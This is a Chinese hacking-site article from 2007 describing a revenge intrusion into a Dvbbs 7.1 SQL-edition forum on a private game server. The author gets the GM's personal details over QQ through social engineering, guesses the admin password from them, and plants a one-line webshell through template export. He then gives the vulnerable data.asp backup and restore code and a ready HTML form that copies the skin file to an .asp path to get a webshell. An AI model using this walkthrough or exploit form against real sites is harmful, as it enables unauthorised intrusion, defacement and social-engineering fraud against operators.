联系站长
加入收藏
会员登陆
 您的位置: 情长在线 >> 文章文献 >> 黑客攻防 >> By 情长在线(F.N.S.T)
   □  dvbbs sql 得WebShell的分析报告    3星级
dvbbs sql 得WebShell的分析报告
[作者:佚名    转贴自:F.N.S.T    点击数:    更新时间:2007-4-7    文章录入:一生情长]
【字体:

dvbbs sql 得WebShell的分析报告


今天我朋友发来了个私服的官方网站.起因是因为这个私服的GM骗了我朋友100RMB.我朋友气愤之下找我帮忙.叫我篡改其web.哎.都怪平时太会吹牛了.无奈.把泡MM的时间挤一点去研究研究咯.活动活动..
WEB的分析

  私服的官方主页都是htm生成的.无从下手.难道要通过扫描服务器来实现入侵?突然发现在主页下有个论坛连接口.点进去.Powered By Dvbbs Version 7.1.0 Sp1 有门了.尝试着admin/admin888 data/dvbbs7.mdb 出现error.看来管理还不是个傻B.注册人数有1384个.怎么会用默认呢?怎么办呢?最近听说过有个dvbbs blog 0day.但是这个论坛没开放博客系统.怎么得到GM的管理号呢?

社会工程学

  通过加GM的QQ来骗取.发了好长时间.从古代的腥风血雨聊到当今的恐怖事件.运气不是一般好.经过了长达一个下午的忽悠聊天.得到了GM的银行账号.E-mail.电话. 出生年月等等.很幸运的是利用这些现有的资料组合成密码登陆了后台.点 模板导出插入一句话.模板数据已经保存到您的论坛根目录下的skins下,文件名名Dv_skin.mdb.一切的一切都是这么顺理成章.点到数据处理(Access) 时.傻了.问小鱼知道怎么入侵dvbbs sql的站不?无果.

一、备份数据库
1、打开SQL企业管理器,在控制台根目录中依次点开Microsoft SQL Server
2、SQL Server组-->双击打开你的服务器-->双击打开数据库目录
3、选择你的数据库名称(如论坛数据库Forum)-->然后点上面菜单中的工具-->选择备份数据库
4、备份选项选择完全备份,目的中的备份到如果原来有路径和名称则选中名称点删除,然后点添加,如果原来没有路径和名称则直接选择添加,接着指定路径和文件名,指定后点确定返回备份窗口,接着点确定进行备份

二、还原数据库
1、打开SQL企业管理器,在控制台根目录中依次点开Microsoft SQL Server
2、SQL Server组-->双击打开你的服务器-->点图标栏的新建数据库图标,新建数据库的名字自行取
3、点击新建好的数据库名称(如论坛数据库Forum)-->然后点上面菜单中的工具-->选择恢复数据库
4、在弹出来的窗口中的还原选项中选择从设备-->点选择设备-->点添加-->然后选择你的备份文件名-->添加后点确定返回,这时候设备栏应该出现您刚才选择的数据库备份文件名,备份号默认为1(如果您对同一个文件做过多次备份,可以点击备份号旁边的查看内容,在复选框中选择最新的一次备份后点确定)-->然后点击上方常规旁边的选项按钮...................

SQL版的分析
  首先我们看看admin/data.asp文件的updata()函数:
sub updata()
 On error resume next
 Dim FileConnStr,Fileconn
 Dbpath=request.Form("Dbpath")
 Dbpath=server.mappath(Dbpath)
 bkfolder=request.Form("bkfolder")
 bkdbname=request.Form("bkdbname")
 FileConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Dbpath
 Set Fileconn = Server.CreateObject("ADODB.Connection")
 Fileconn.open FileConnStr
 If Err Then
 Response.Write Err.Description
 Err.Clear
 Set Fileconn = Nothing
 Response.Write "备份的文件并非合法的数据库。"
 Exit Sub
 Else
 Set Fileconn = Nothing
 End If
 Set Fso=server.createobject("scripting.filesystemobject")
 If Fso.fileexists(dbpath) then
 If CheckDir(bkfolder) = True Then
 Fso.copyfile dbpath,bkfolder& "\"& bkdbname
 else
 MakeNewsDir bkfolder
 Fso.copyfile dbpath,bkfolder& "\"& bkdbname
 end if
 response.write "备份数据库成功,您备份的数据库路径为" &bkfolder& "\"& bkdbname
 Else
 response.write "找不到您所需要备份的文件。"
 End if
end sub

  上面的代码就是执行备份操作的函数,已经很易懂了,只要Dbpath存在,就直接把数据库复制到指定目录,但是备份数据库步骤是:

1、打开SQL企业管理器,在控制台根目录中依次点开Microsoft SQL Server
2、SQL Server组-->双击打开你的服务器-->双击打开数据库目录
3、选择你的数据库名称(如论坛数据库Forum)-->然后点上面菜单中的工具-->选择备份数据库
  还是备份数据的地方,你别看这里教你如何用SQL企业管理器来操作,其实可利用的正在里面,不要被表面的现象蒙蔽了,我们看看admin/data.asp文件的以下代码:
sub RestoreData()
If IsSqlDataBase = 1 Then
SQLUserReadme()
Exit Sub
End If
%>
<table border="0" cellspacing="1" cellpadding="5" height="1" align=center width="95%" class="tableBorder" <tr>
<th height=25 > 
 B>恢复论坛数据</B>( 需要FSO支持,FSO相关帮助请看微软网站 )
 </th>
 </tr>
 <form method="post" action="data.asp?action=RestoreData&act=Restore">
 
 <tr>
 <td height=100 class="forumrow">
备份数据库路径(相对):<input type=text size=30 name=DBpath value="../DataBackup/dvbbs7_Backup.MDB">&nbsp;&nbsp;<BR>
目标数据库路径(相对):<input type=text size=30 name=backpath value="../<%=db%>"><BR>;填写您当前使用的数据库路径,如不想覆盖当前文件,可自行命名(注意路径是否正确),然后修改conn.asp文件,如果目标文件名和当前使用数据库名一致的话,不需修改 conn.asp文件<BR>
 &nbsp;&nbsp;<input type=submit value="恢复数据"> 
 -----------------------------------------------------------------------------------------;在上面填写本程序的数据库路径全名,本程序的默认备份数据库文件为DataBackup\dvbbs_Backup.MDB,请按照您的备份文件自行修改。

您可以用这个功能来备份您的法规数据,以保证您的数据安全!
注意:所有路径都是相对与程序空间根目录的相对路径


 </td>
 </tr>
 </form>
 </table>
<%
end sub
sub BackupData()
If IsSqlDataBase = 1 Then
SQLUserReadme()
Exit Sub
End If
%>
<table border="0" cellspacing="1" cellpadding="5" height="1" align=center width="95%" class="tableBorder">
 <tr>
 <th height=25 >
 &nbsp;&nbsp;<B>备份论坛数据</B>( 需要FSO支持,FSO相关帮助请看微软网站 )
 </th>
 </tr>
 <form method="post" action="data.asp?action=BackupData&act=Backup">
 <tr>
 <td height=100 class="forumrow">
 &nbsp;&nbsp;
 当前数据库路径(相对路径):<input type=text size=15 name=DBpath value="../<%=db%>"><BR>&nbsp;&nbsp;
  备份数据库目录(相对路径):<input type=text size=15 name=bkfolder value="../Databackup">&nbsp;如目录不存在,程序将自动创建<BR>&nbsp; &nbsp;
 备份数据库名称(填写名称):<input type=text size=15 name=bkDBname value="dvbbs7_Backup.mdb">&nbsp;如备份目录有该文件,将覆盖,如没有,将自动创建<BR>
 &nbsp;&nbsp;<input type=submit value="确定"><br>
 -----------------------------------------------------------------------------------------<br>
 &nbsp;&nbsp;在上面填写本程序的数据库路径全名,本程序的默认数据库文件为Data\dvbbs7.MDB,< B>请一定不能用默认名称命名备份数据库</B><br>
 &nbsp;&nbsp;您可以用这个功能来备份您的法规数据,以保证您的数据安全!<br>
 &nbsp;&nbsp;注意:所有路径都是相对与程序空间根目录的相对路径 </font>
 </td>
 </tr>
 </form>
 </table>
<%
end sub
sub updata()
 On error resume next
 Dim FileConnStr,Fileconn
 Dbpath=request.Form("Dbpath")
 Dbpath=server.mappath(Dbpath)
 bkfolder=request.Form("bkfolder")
 bkdbname=request.Form("bkdbname")
 FileConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Dbpath
 Set Fileconn = Server.CreateObject("ADODB.Connection")
 Fileconn.open FileConnStr
 If Err Then
 Response.Write Err.Description
 Err.Clear
 Set Fileconn = Nothing
 Response.Write "备份的文件并非合法的数据库。"
 Exit Sub
 Else
 Set Fileconn = Nothing
 End If
 Set Fso=server.createobject("scripting.filesystemobject")
 If Fso.fileexists(dbpath) then
 If CheckDir(bkfolder) = True Then
 Fso.copyfile dbpath,bkfolder& "\"& bkdbname
 else
 MakeNewsDir bkfolder
 Fso.copyfile dbpath,bkfolder& "\"& bkdbname
 end if
 response.write "备份数据库成功,您备份的数据库路径为" &bkfolder& "\"& bkdbname
 Else
 response.write "找不到您所需要备份的文件。"
 End if
end sub
  在后台没有用到这些代码,可以看出我们完全可以用像ACCESS的方法来利用,只是要从本地提交参数,因为Dbpath、backpath那两个变量是用 request.form取值。照样没有检查文件类型,这个文件的很多代码在SQL版里都是多余!由此产生安全隐患。
SQL版的利用
  点 模板导出 插入一句话.模板数据已经保存到您的论坛根目录下的skins下,文件名为Dv_skin.mdb.然后在本地新建一个htm文件.写入代码
<form action="http://你入侵的网站地址/admin/data.asp?action=RestoreData&act=Restore" method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"><p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"><p>
<p><input type="submit" value="提交"><p>
<form>
  然后就把skins/Dv_skin.mdb填在“已上传文件的位置”那里,想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置” 那里,比如:admin/hack.asp提交就得到我们可爱的WebShell了.这里可以把BackupData值代替RestoreData值.一样可以实现入侵.很简单吧.

  • 上一篇文章:端口截听与端口隐藏嗅探攻击
  • 下一篇文章:没有了
  • 发表评论   □ 告诉好友   □ 打印此文  □ 关闭窗口
     最新10篇热点文章
    Asianux合作添强援 最安全…[219]
    2006年中国互联网十大计算…[319]
    黑客少年转战美国破解iTun…[426]
    流氓软件 换马甲照样认识[303]
    OpenOffice WMF/EMF文件处…[211]
    HP OpenView网络节点管理器…[167]
    Outpost防火墙文件链接绕过…[139]
    Libgtop2库本地栈溢出漏洞…[170]
    Dream FTP Server USER命令…[168]
    Xine errors.c远程格式串处…[143]
     
     最新10篇推荐文章
    搭建安全的综合数据通信网…[01-16]
    新浪UC ActiveX多个远程栈…[01-16]
    端口截听与端口隐藏嗅探攻…[01-15]
    简单线程注入的实现[01-15]
    CMD下的网络安全配置[01-15]
    为什么应该更重视无线网络…[01-15]
    移动IPv6的安全性分析[01-11]
    服务器安全检查十大要素[01-07]
    SYN 攻击原理以及防范技术…[01-07]
    ASP.NET木马及Webshell安全…[01-02]
     
     相 关 文 章
      ◇  网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
     设为首页  加入收藏  关于本站  免费服务  广告服务   归档中心   站点地图  版权申明  联系站长  友情链接
    Copyright© 2001-2005 F.N.S.T Fineacer.Org .All Rights Reserved ICP备案:粤ICP备05002156号